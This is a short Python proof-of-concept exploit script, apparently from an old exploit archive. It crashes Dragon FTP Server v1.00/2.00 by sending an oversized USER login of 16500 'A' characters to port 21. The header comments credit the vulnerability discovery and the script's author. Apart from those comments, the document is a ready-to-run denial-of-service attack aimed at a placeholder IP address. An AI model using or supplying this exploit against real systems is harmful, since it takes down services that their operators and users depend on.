#!/usr/bin/python
#
# Dragon Server(ftp) DoS Proof of Concept Code.
# Vulnerability Discovered by USSR Labs(https://www.ussrback.com)
# Simple Script by Prizm(Prizm@Resentment.org)
# 
# By connecting to port 21(ftp) on a system running Dragon FTP Server v1.00/2.00 and typing 
# USER (16500 bytes) the service will crash
#
# This *simple* little script will cause Dragon Server's ftp service to crash.

from ftplib import FTP

ftp = FTP('xxx.xxx.xxx.xxx') # Replace x's with IP. 
ftp.login('A' * 16500)             
ftp.quit()

#end